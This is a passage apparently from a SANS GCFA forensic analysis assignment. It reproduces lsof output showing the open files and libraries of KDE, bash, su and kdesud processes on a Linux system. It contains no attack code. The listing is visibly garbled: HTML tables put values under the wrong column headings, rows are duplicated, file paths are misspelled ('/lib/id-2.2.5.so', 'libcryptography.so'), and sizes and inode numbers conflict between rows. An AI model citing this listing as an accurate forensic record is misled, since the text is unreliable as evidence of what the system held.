korgac 1228 userid1 mem REG 3,2 65 130117 /usr/lib/locale/en_US.iso885915/LC_MONETARY
korgac 1228 userid1 mem REG 3,2 63 130117 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
korgac 1228 userid1 mem REG 3,2 10902 16965 /usr/X11R6/lib/X11/locale/common/xlcDef.so.2
korgac 1228 userid1 mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
korgac 1228 userid1 mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
korgac 1228 userid1 mem REG 3,2 52300 16993 /lib/i686/libXext-2.2.5.so
korgac 1228 userid1 mem REG 3,5 68925 63535 /lib/librsolv-2.2.5.so
korgac 1228 userid1 mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
korgac 1228 userid1 mem REG 3,2 59788 63558 /lib/libstdc++.0322
korgac 1228 userid1 mem REG 3,2 426442 63530 /lib/libstdc++-c++-3-1libc6.2-2-2.10.0.so
korgac 1228 userid1 mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
korgac 1228 userid1 mem REG 3,2 110194 63539 /lib/libcups.so.2
korgac 1228 userid1 mem REG 3,2 290306 63532 /lib/libmng.so.1.0.0
korgac 1228 userid1 mem REG 3,2 140418 63589 /lib/libjpeg.so.62.0.0
korgac 1228 userid1 mem REG 3,2 90976 16997 /lib/i686/libXext.so.1.1
korgac 1228 userid1 mem REG 3,2 298533 65382 /lib/libfreeetype.so.6.3.0
korgac 1228 userid1 mem REG 3,5 207008 65636 /lib/libssl.so.0.9.6b
<table>
<thead>
<tr>
<th>File Path</th>
<th>User</th>
<th>Mode</th>
<th>Offset</th>
<th>Size</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>/korgac 1228 userid1 mem REG 3,5 924879 63562</td>
<td>1228</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>/korgac 1228 userid1 mem REG 3,2 22592 130323</td>
<td>1228</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/gconv/ISO8859-15.so</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xlcDef.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/libcryptography.so</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/gconv/ISO8859-15.so</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xlcDef.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/libcryptography.so</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

Page 129

kdeinit 1232 userid1 mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-libc6.2-2-2.10.0.so
kdeinit 1232 userid1 mem REG 3,5 11174 63541 /usr/lib/libutil-2.2.5.so
kdeinit 1232 userid1 mem REG 3,5 173359 73732 /lib/libcups.so.2
kdeinit 1232 userid1 mem REG 3,2 290306 65382 /usr/lib/libmng.so.1.0.0
kdeinit 1232 userid1 mem REG 3,2 110194 65399 /usr/lib/libjpeg.so.62.0.0
kdeinit 1232 userid1 mem REG 3,2 396236 65995 /usr/lib/libfreetype.so.6.3.0
kdeinit 1232 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1232 userid1 mem REG 3,2 575687 65982 /usr/lib/libkonq-gcc2.96.so.4.0.0
kdeinit 1232 userid1 mem REG 3,2 245459 65949 /usr/lib/konsole-gcc2.96.so
kdeinit 1232 userid1 mem REG 3,2 32808 16969 /dev/null
bash 1234 userid1 cwd DIR 3,3 4096 32321 /home/userid1
bash 1234 userid1 rtd DIR 3,5 1024 2 /
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Category</th>
<th>Mode</th>
<th>Size</th>
<th>Date</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592 130323   /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>46177 63531 /lib/libnss_nispplus-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424 63507 /lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>0u</td>
<td>CHR</td>
<td>136,1</td>
<td>3 /dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>1u</td>
<td>CHR</td>
<td>136,1</td>
<td>3 /dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>2u</td>
<td>CHR</td>
<td>136,1</td>
<td>3 /dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>userid1</td>
<td>255u</td>
<td>CHR</td>
<td>136,1</td>
<td>3 /dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 36865 /root</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 36865 /</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>19116 41031 /bin/su</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666 114263 /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29 130312 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65 130316 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19116 41031 /bin/su</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83 130314 /usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40 130315 /usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58 179360 /usr/lib/locale/en_US.iso885915/LC_Messages/Sys_LC_Messages</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>2457 130317 /usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>5391 43050 /lib/security/pam_rootok.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>23575 63501 /lib/libcrypt-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102 63503 /lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>35340 63567 /lib/libtermcap.so.2.0.8</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12102 63503 /lib/libnss_nispplus-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424 63507 /lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12471 43053 /lib/security/pam_stack.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>20666 114263 /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11832 63560 /lib/libtermcap.so.2.0.8</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>46177 63531 /lib/libnss_nispplus-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424 63507 /lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>71016 65265 /usr/lib/libcrack.so.2.7</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12471 43053 /lib/security/pam_stack.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11832 63560 /lib/libtermcap.so.2.0.8</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>46177 63531 /lib/libnss_nispplus-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424 63507 /lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>136,1</td>
<td>3 /dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>136,1</td>
<td>3 /dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1266</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>136,1</td>
<td>3 /dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 36865 /root</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 36865 /</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
<td>40973 /bin/bash</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89547 63490 /lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666 114263 /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>46177 63531 /lib/libnss_nispplus-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424 63507 /lib/libnsl-2.2.5.so</td>
</tr>
</tbody>
</table>
bash 1269 root mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
bash 1269 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
bash 1269 root 0u CHR 136,1 3 /dev/pts/1
bash 1269 root 1u CHR 136,1 3 /dev/pts/1
bash 1269 root 2u CHR 136,1 3 /dev/pts/1
kdeinit 6133 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 6133 userid1 rtd DIR 3,5 1024 2 /
kdeinit 6133 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 6133 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.
  so
kdeinit 6133 userid1 mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 6133 userid1 mem REG 3,2 20666 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 6133 userid1 mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
kdeinit 6133 userid1 mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 6133 userid1 mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 294341 65748 /usr/lib/libkparts-gcc2.96.so.2.0.0
kdeinit 6133 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 2530952 65712 /usr/lib/libkdeui-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 17328 17011 /usr/X11R6/lib/libXrender.so.1.1
kdeinit 6133 userid1 mem REG 3,2 133032 65706 /usr/lib/libkdesu-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 1962973 65672 /usr/lib/libkdecore-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 7644546 440426 /usr/lib/qt-3.0.3/lib/libqt-.
  mt.so.3.0.3
kdeinit 6133 userid1 mem REG 3,2 131560 65396 /usr/lib/libjpeg.so.62.0.0
kdeinit 6133 userid1 mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
kdeinit 6133 userid1 mem REG 3,2 7664546 440426 /usr/lib/gconv/gconv-modules.cache
```
Kevin Miller - Sans GCFA Assignment – v1.4  Page 132

kdeinit 6133 userid1 mem REG 3,2 136415 16964
/usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 6133 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
kdeinit 6133 userid1 mem REG 3,2 42808 16969
/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2
kdeinit 6133 userid1 mem REG 3,5 45415 32328 /home/userid1/.xsession-errors
kdeinit 6133 userid1 0r CHR 1,3 9637 /dev/null
kdeinit 6133 userid1 1w REG 3,3 1453 280010 pipe
kdeinit 6133 userid1 2w REG 3,3 1453 280010 pipe
kdeinit 6133 userid1 3u unix 0xc2e450c0 280011 socket
kdeinit 6133 userid1 4u unix 0xc4fb90e0 280011 socket
kdeinit 6133 userid1 5r FIFO 0,5 280014 pipe
kdeinit 6133 userid1 6w FIFO 0,5 280014 pipe
kdeinit 6133 userid1 7u unix 0xc4fb9ae0 280014 pipe
kdeinit 6133 userid1 8r FIFO 0,5 280014 pipe
kdeinit 6133 userid1 9w FIFO 0,5 280014 pipe
kdesud 6135 root cwd DIR 3,3 4096 32321 /home/userid1
kdesud 6135 root rtd DIR 3,5 1024 2 /
kdesud 6135 root txt REG 3,2 57092 33561 /usr/bin/kdesud
kdesud 6135 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdesud 6135 root mem REG 3,2 133032 65706 /usr/lib/libkdesu-gcc2.96.so.4.0.0
kdesud 6135 root mem REG 3,2 1962973 65672 /usr/lib/libkdecore-gcc2.96.so.4.0.0
kdesud 6135 root mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
kdesud 6135 root mem REG 3,2 7644546 440426 /usr/lib/qt-3.0.3/lib/libqt-mt.so.3.0.3
kdesud 6135 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
kdesud 6135 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
kdesud 6135 root mem REG 3,2 874476 65706 /usr/lib/libX11.so.6.2
kdesud 6135 root mem REG 3,2 31520 16983 /usr/X11R6/lib/libSM.so.6.0
kdesud 6135 root mem REG 3,2 81980 16979 /usr/X11R6/lib/libICE.so.6.3
kdesud 6135 root mem REG 3,2 101902 65672 /lib/i686/libpthread-0.9.so
kdesud 6135 root mem REG 3,2 12102 63503 /lib/libdl-2.2.5.so
kdesud 6135 root mem REG 3,2 52300 16983 /usr/X11R6/lib/libXext.so.6.4
kdesud 6135 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
kdesud 6135 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3.3.2-2.10.0.so
kdesud 6135 root mem REG 3,2 68925 63535 /lib/libresolv-2.2.5.so
kdesud 6135 root mem REG 3,2 173359 63535 /lib/i686/libm-2.2.5.so
kdesud 6135 root mem REG 3,2 110194 63535 /lib/libcups.so.2
kdesud 6135 root mem REG 3,2 290306 63535 /lib/libpng.so.2.1.0.12
kdesud 6135 root mem REG 3,2 59778 63535 /lib/libz.so.1.1.3
kdesud 6135 root mem REG 3,2 874476 63535 /lib/libX11.so.6.2
kdesud 6135 root mem REG 3,2 31520 16983 /lib/libXtst.so.6.1
kdesud 6135 root mem REG 3,2 245833 63535 /lib/libfreetype.so.6.3.0
kdesud 6135 root mem REG 3,2 299533 63535 /lib/libcrypto.so.0.9.6b
kdesud 6135 root mem REG 3,2 924879 63535 /lib/libcrypto.so.0.9.6b
kdesud 6135 root mem REG 3,2 1401027 63535 /lib/libXrender.so.1.1
kdesud 6135 root mem REG 3,2 90976 63535 /lib/libssl.so.0.9.6b
kdesud 6135 root mem REG 3,2 1401027 63535 /lib/libcups.so.2
kdesud 6135 root mem REG 3,2 426442 63535 /lib/libstdc++-3.3.2-2.10.0.so
kdesud 6135 root mem REG 3,2 68925 63535 /lib/libresolv-2.2.5.so
kdesud 6135 root mem REG 3,2 173359 63535 /lib/i686/libm-2.2.5.so
kdesud 6135 root mem REG 3,2 110194 63535 /lib/libcups.so.2
kdesud 6135 root mem REG 3,2 290306 63535 /lib/libpng.so.2.1.0.12
kdesud 6135 root mem REG 3,2 1401027 63535 /usr/lib/gconv/gconv-modules.cache
kdesud 6135 root mem REG 3,2 29 130312
kdesud 6135 root mem REG 3,2 65 130312
kdesud 6135 root mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdesud 6135 root mem REG 3,2 1453 32328 /home/userid1/.xsession-errors
kdesud 6135 root 0r CHR 1,3 9637 /dev/null
kdesud 6135 root 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdesud 6135 root 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdesud 6135 root 3u unix 0xc5fbf540 280021 /tmp/ksocket-userid1/kdesud_
kdesud 6135 root 4u unix 0xc4e7e5a0 280025 socket
kdeinit 7168 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 7168 userid1 rtd DIR 3,5 1024 2 /
kdeinit 7168 userid1 txt REG 3,2 36360 32321 /home/userid1
kdeinit 7168 userid1 REG 3,5 89547 63490 /lib/id-2.2.5.so
kdeinit 7168 userid1 mem REG 3,2 18152 17011 /usr/X11R6/lib/libXtst.so.6.1
kdeinit 7168 userid1 mem REG 3,2 2457 130312
/usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 7168 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 7168 userid1 mem REG 3,2 371 130311
/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
kdeinit 7168 userid1 mem REG 3,2 29 130312
/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
kdeinit 7168 userid1 mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
kdeinit 7168 userid1 mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
```
bash 7170 userid1 rtd DIR 3,5 1024 2 /
bash 7170 userid1 txt REG 3,5 541096 40973 /bin/bash
bash 7170 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
bash 7170 userid1 mem REG 3,2 371 130311
/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
bash 7170 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
bash 7170 userid1 mem REG 3,2 29 130312
/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
bash 7170 userid1 mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
bash 7170 userid1 mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
bash 7170 userid1 mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME
bash 7170 userid1 mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_PAPER
bash 7170 userid1 mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
bash 7170 userid1 mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_COLLATE
bash 7170 userid1 mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_MONETARY
bash 7170 userid1 mem REG 3,2 11832 63560 /lib/libtermcap.so.2.0.8
bash 7170 userid1 mem REG 3,2 12102 63503 /lib/libdl-2.2.5.so
bash 7170 userid1 mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
bash 7170 userid1 mem REG 3,2 13670 130311
/usr/lib/locale/en_US.iso885915/LC_TYPE
bash 7170 userid1 mem REG 3,5 45415 63523 /lib/nss_files-2.2.5.so
bash 7170 userid1 mem REG 3,5 46117 63531 /lib/nss_nisplus-2.2.5.so
bash 7170 userid1 mem REG 3,5 89424 63507 /lib/nsl-2.2.5.so
bash 7170 userid1 mem REG 3,2 1401027 73730
/usr/lib/locale/en_US.iso885915/LC_COLLATE
bash 7170 userid1 mem REG 3,2 19116 41031 /bin/su
bash 7170 userid1 mem REG 3,5 43050 /lib/security/pam_rootok.so
bash 7170 userid1 mem REG 3,5 23575 /lib/libcrypt-2.2.5.so
bash 7170 userid1 mem REG 3,5 12015 63568 /lib/libpam_misc.so.0.75
bash 7170 userid1 mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
su 7203 root mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
su 7203 root mem REG 3,5 12471 43053 /lib/security/pam_stack.so
su 7203 root mem REG 3,5 13783 43065 /lib/security/pam_xauth.so
su 7203 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
su 7203 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
su 7203 root mem REG 3,5 14617 43040 /lib/security/pam_limits.so
su 7203 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
su 7203 root mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
su 7203 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
su 7203 root mem REG 3,5 50425 43057 /lib/security/pam_unix.so
su 7203 root mem REG 3,5 14540 43032 /lib/security/pam_cracklib.so
su 7203 root mem REG 3,2 71016 65265 /usr/lib/libcrack.so
su 7203 root mem REG 3,5 1401027 73730 /lib/lib686/libc-2.2.5.so
su 7203 root 0u CHR 136,2 4 /dev/pts/2
su 7203 root 1u CHR 136,2 4 /dev/pts/2
su 7203 root 2u CHR 136,2 4 /dev/pts/2
bash 7206 rootcwd DIR 22,0 2048 49152 /mnt/cdrom
bash 7206 rob text REG 3,5 541096 40973 /bin/bash
bash 7206 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
